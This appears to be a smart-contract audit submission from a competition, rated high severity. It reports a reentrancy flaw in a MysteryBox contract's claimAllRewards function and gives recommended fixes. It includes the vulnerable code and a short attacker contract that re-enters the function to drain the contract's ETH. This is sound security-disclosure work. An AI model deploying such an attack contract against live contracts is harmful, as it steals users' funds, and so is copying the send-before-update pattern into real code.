Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in `claimAllRewards()` Function

cryptolappi

Summary

The claimAllRewards function in the MysteryBox contract is also vulnerable to a reentrancy attack, similar to the claimSingleReward function. This vulnerability could allow an attacker to drain more funds from the contract than they are entitled to.

Vulnerability Details

The vulnerable code is in the claimAllRewards function:

function claimAllRewards() public {
uint256 totalValue = 0;
@> for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
@> (bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
​
@> delete rewardsOwned[msg.sender];
}

The issue lies in the order of operations:

  1. The function calculates the total value of all rewards.

  2. It then sends the total ETH to the user.

  3. Only after sending the ETH does it delete all the rewards from the user's account.

This order of operations violates the Checks-Effects-Interactions pattern and opens up the possibility for a reentrancy attack.

Impact

The impact of this vulnerability is high:

  1. Fund Drain: An attacker could repeatedly call this function before the rewards are deleted, potentially draining all ETH from the contract.

  2. Economic Loss: The contract could lose all its ETH, affecting all users of the system.

  3. Trust Issues: Such an exploit would severely damage the trust in the system and potentially lead to its complete failure.

  4. Compounded Risk: This vulnerability is even more severe than the one in claimSingleReward as it allows claiming all rewards at once, potentially leading to larger losses in a single attack.

Tools Used

Manual code review.

Proof of Concept

Here's a simple attack contract that could exploit this vulnerability:

contract AttackMysteryBox {
MysteryBox public mysteryBox;
​
constructor(address _mysteryBoxAddress) {
mysteryBox = MysteryBox(_mysteryBoxAddress);
}
​
function attack() external {
mysteryBox.claimAllRewards();
}
​
receive() external payable {
if (address(mysteryBox).balance > 0) {
mysteryBox.claimAllRewards();
}
}
}

Recommendations

To address this vulnerability, implement the Checks-Effects-Interactions pattern:

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
@> // Effects: Update the state before sending ETH
delete rewardsOwned[msg.sender];
​
@> // Interactions: Send ETH last
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
}

Alternatively, use the OpenZeppelin ReentrancyGuard contract:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
contract MysteryBox is ReentrancyGuard {
// ...
​
@> function claimAllRewards() public nonReentrant {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
delete rewardsOwned[msg.sender];
​
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
}
}

By implementing one of these solutions, the contract can protect itself against reentrancy attacks in both the claimSingleReward and claimAllRewards functions.

Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.